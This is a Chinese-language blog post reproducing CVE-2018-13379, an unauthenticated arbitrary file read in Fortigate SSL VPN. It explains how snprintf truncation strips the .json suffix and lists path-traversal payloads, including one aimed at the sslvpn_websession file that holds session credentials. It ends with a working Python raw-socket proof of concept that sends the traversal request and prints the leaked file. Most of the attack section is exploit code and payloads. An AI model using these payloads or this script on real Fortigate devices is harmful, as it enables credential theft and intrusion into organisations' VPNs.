CVE-2018-13379: Fortigate SSL VPN 未授权任意文件读取

Orange Tsai(@orange_8361)师傅在博客中公布了关于Fortigate SSL VPN的众多漏洞,其中一个是任意文件读取漏洞,并公布了PoC,但是相关细节没有说太多,在此记录一下自己在复现过程中遇到的问题。

任意文件路径构造

1
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

snprintf方法指定了读取字符串的最大长度为0x40,也就是64个字符,如果超出64个字符就会发生溢出截断。我们需要通过这个的方法截断.json后缀。算上原本已经有的/migadmin/lang/占15个字符,还有字符串最后的结束标志\0,我们构造的payload长度应为48。

1
2
3
/../../../..//////////dev/cmdb/sslvpn_websession
/../../../../../../../..////////////proc/version
/../../../../../../../..////////proc/self/mounts

PoC编写

当开始着手写PoC的时候发现,并不能正确获取返回的数据。

1
2
3
4
5
6
>>> import requests
>>> url = xxx
>>> headers = xxx
>>> rsp = requests.get(url, headers=headers, verify=False)
>>> print(rsp.content)
'var fgt_lang = \n'

换了各种姿势死活拿不到数据,可以看到var fgt_lang = \n的长度正好是16,而图中返回的response中的Content-Length也正好是16,这说明是返回的包被截断了。但是为什么Burp又能拿到数据呢?

咨询了一下大佬后明白,Burp用的是raw socket协议读取的数据,无脑读,直到收不到数据为止。

简单学习了一下raw socket后终于拿到了返回的数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import ssl
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('your-ip', your-port))
s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
s.sendall("GET /remote/fgt_lang?lang=/../../../../../../../..////////////proc/version HTTP/1.1\r\nHost: your-ip:your-port\r\nConnection: close\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 0\r\n\r\n")

while True:

new = s.recv(4096)
if not new:
s.close()
break
print new